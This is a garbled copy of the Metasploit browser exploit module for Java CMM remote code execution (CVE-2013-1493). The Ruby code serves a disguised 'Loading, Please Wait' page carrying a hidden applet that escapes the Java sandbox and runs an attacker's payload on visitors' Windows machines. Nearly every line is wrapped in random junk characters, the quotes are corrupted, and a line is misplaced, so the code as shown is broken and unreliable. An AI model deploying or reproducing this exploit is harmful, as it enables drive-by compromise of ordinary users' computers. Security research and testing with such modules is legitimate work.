##
! R6 _3 U% X+ [5 b% X/ R( o" W
& m& \; [, u0 t. }3 a) p; t% Z2 J# This file is part of the Metasploit Framework and may be subject to
7 C- i6 k8 M2 u# redistribution and commercial restrictions. Please see the Metasploit0 R9 ^0 Z0 ^! T& i) w- j
# web site for more information on licensing and terms of use.( d4 X3 z f$ ?- ~! Z2 @- n
# http://metasploit.com/
( R# E" a3 l- ?6 r: S##7 c. B8 t/ C. P! x! `' K, |' {. j
require ‘msf/core’
' J' A; M0 D- h& ~) e, v5 @# Crequire ‘rex’2 C; n3 R3 v/ q
class Metasploit3 < Msf::Exploit::Remote
! X! f2 G* G c: B& Z+ l% dRank = NormalRanking6 c) @8 k0 d0 o# y3 U3 e
include Msf::Exploit::Remote::HttpServer::HTML/ \( s+ J+ V% x
include Msf::Exploit::EXE
. O' T4 l4 f0 xinclude Msf::Exploit::Remote::BrowserAutopwn
' ~ x) v. y! _, Mautopwn_info({ :javascript => false })
$ c( l' c( F7 d ?. W9 y$ C' j) T5 Ydef initialize( info = {} )! S3 `( O& _0 \- K( E
super( update_info( info,# v' D5 u5 H8 p4 R1 T
‘Name’ => ‘Java CMM Remote Code Execution’,- B$ J( Y$ ]; l' k4 C
‘Description’ => %q{6 ?' S% W& w3 u3 Y4 c8 \
This module abuses the Color Management classes from a Java Applet to run
& C" h4 C& L. Y) Larbitrary Java code outside of the sandbox as exploited in the wild in February
! \' z) Y3 ]' Vand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u418 B5 z" ^# W H9 E! _
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
# o7 s+ m+ t& V9 S8 y& p G' bsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java* Q, x+ k4 ?+ D3 O7 k# A
warning in order to run the malicious applet.
) J- x* C5 R9 c" _+ s9 m1 U},1 |6 Z _9 X. y# j: s3 G
‘License’ => MSF_LICENSE,
0 E+ o" r" A) y8 @‘Author’ =>1 M* T+ @0 W/ k" p/ p- k
'Unknown', # Vulnerability discovery and Exploit7 A% y' `$ T. V( N F/ p# Z2 B
'juan vazquez' # Metasploit module (just ported the published exploit)7 x1 W' Y( p: m& [, Y* }
],
0 O- O5 U* R Y' u' @‘References’ =>
" T8 Z9 R" A5 | \0 M) H; b[
1 H& K, E5 w- s5 V* S[ 'CVE', '2013-1493' ],
% d- N7 d9 [' d8 a; g[ 'OSVDB', '90737' ],
$ T& u3 @9 j7 F* z% I+ s+ H) w[ 'BID', '58238' ],
* ?0 i: q2 I- \/ |' |4 A[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],! Y0 d( o/ F! g0 V
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],/ t. a" H$ I1 a# Y( Z
[ 'URL', 'http://pastie.org/pastes/6581034' ]
. @% Z! k% F a4 J],+ T3 X9 z% T4 {. f; m" y. L" p1 D
‘Platform’ => [ 'win', 'java' ],
) C$ Y7 {$ v" r/ n‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
7 c1 E+ y+ Q2 ?3 X2 ~4 G: U6 c‘Targets’ =>
1 K: u% X5 R4 D+ W: W7 m[6 M5 o3 P, t' G) v/ x2 \
[ 'Generic (Java Payload)',% q: {. ], G$ z4 _1 t( ]0 {
{) Z- g4 ]4 I" \$ @5 v) U! a; ~5 f
'Platform' => 'java', C' b3 _* v' t$ f" M
'Arch' => ARCH_JAVA" J' ?: O/ M, V+ g6 ~
}
2 L3 T& l: d3 [],9 f/ m' H' ?# _" |! `8 i6 y L4 l
[ 'Windows x86 (Native Payload)',8 e& V' M% r" Y# E2 |
{8 q9 L2 Y8 u- ]* j& `1 r5 ~
'Platform' => 'win',# U) R, \+ b4 _4 h5 Z+ W; U
'Arch' => ARCH_X86
# |5 I0 o3 p8 D}# F: H+ d% v$ {
]
! N, r7 c' F6 P3 s; X],
! x" v; f2 ?; `‘‘DisclosureDate’ => ‘Mar 01 2013′
% X/ [" j% |, c, P( `))
0 A' K- W+ _2 J3 f* N. V! R* iend
0 J: v( T7 K% k+ Ldef setup0 u' v9 h( c3 _/ d& N- X: Z# C
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)8 O# D0 _( O, h0 I- t9 @7 A/ E
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* n6 i" f _0 B& Lpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
i: D8 @6 l3 `+ v5 w@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) } {3 N4 E" R0 d/ J
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)& s; [, V9 \* l4 w8 S1 f1 ]
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 C* B0 [7 y3 M/ p: @1 F5 [* F6 Vpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)1 Z7 E7 D$ J' z# W+ M
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
0 D* ]- i5 Q8 E) w! Y, ~- {@init_class_name = rand_text_alpha(“Init”.length)' q: G4 |- p K/ u y) H0 D2 S
@init_class.gsub!(“Init”, @init_class_name)
2 ~# B( R( P% v' Z; z8 O4 Y0 m4 psuper4 g2 W* \' V: D& o9 A# g9 A* s
end4 L: k* y9 F1 W2 s3 h% `1 a/ \
def on_request_uri(cli, request)
+ u5 h8 X0 ^/ dprint_status(“handling request for #{request.uri}”)
$ u7 d3 s2 n+ C S! Y8 A8 ~case request.uri
9 E. \+ N; b1 k- u! `( uwhen /\.jar$/i, V5 d0 g) _( L' c5 q
jar = payload.encoded_jar4 ]2 [9 I2 n( m& U# d5 ?
jar.add_file(“#{@init_class_name}.class”, @init_class)
+ ?2 F6 ^: p4 m1 Ljar.add_file(“Leak.class”, @leak_class)8 b! L' O3 ]* G9 ]; K. A/ I% b; J
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)9 J l, w" ~7 S% Y5 Z4 C) z
jar.add_file(“MyColorSpace.class”, @color_space_class)& c6 h' _+ n* Y1 B) X! m8 z
DefaultTarget’ => 1,
5 J4 x& o. u* Z. f+ ], F& s6 ametasploit_str = rand_text_alpha(“metasploit”.length)7 b) v' O. v7 K6 `
payload_str = rand_text_alpha(“payload”.length)
9 @) W, _* a* U* y1 R$ ajar.entries.each { |entry|
) S# t5 f' |8 A0 ^8 Eentry.name.gsub!(“metasploit”, metasploit_str)
- z) N; |' k- i7 z; Mentry.name.gsub!(“Payload”, payload_str)( Q1 N! ^% [$ v) W& B
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
# N t5 s+ K% _2 T' }/ D f) Nentry.data = entry.data.gsub(“Payload”, payload_str)
5 b6 x4 u: `) U5 S# t2 k2 ?8 U' R& O}
E$ R* J9 J6 g) Djar.build_manifest) K9 h9 c3 X N: Z+ G
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
3 @& P3 e1 o2 v$ S3 v+ lwhen /\/$/5 C- t: d- T: g4 e( f2 j, e
payload = regenerate_payload(cli)
4 ?5 @1 s7 [3 x; ?. qif not payload
- G5 o& r A, G2 s; }+ Kprint_error(“Failed to generate the payload.”)
# ~; j$ K* e- h8 E$ v% Q. E7 _" i. t lsend_not_found(cli)
2 A# N$ f# `7 e d c4 W( |& p: `, g8 ^0 Wreturn
2 k) T3 h7 I* r N6 |end
9 |: V) ?6 c/ W7 ^send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })" G4 g, u1 }( o! {5 X- J
else! `' Z2 h# K6 F# f) i
send_redirect(cli, get_resource() + ‘/’, ”)2 u- f, R& p2 K/ h: x! r3 j
end
3 X8 @- k, u# K8 F3 _% t: rend
% p6 a9 l9 V+ N: U2 H& B- idef generate_html9 B! D/ g/ H7 U/ w4 T
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|. O: }- D, O, V9 a l; H" n. d7 a
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
! i" M0 E+ T1 ]$ ~9 h& ihtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|+ `9 L" \" q. I2 b" _$ }- k3 L- U" C
html += %Q|</applet></body></html>|) R( I9 l8 i) i9 g8 z
return html6 V8 k Q, t& r& A; T8 N* J/ b) R
end, ]; `6 d' I% u0 k- V/ I+ j
end4 ~- f5 A- ]3 s7 @+ P i9 w3 @
end
, B, N% u1 t5 ~) X0 j9 j; | |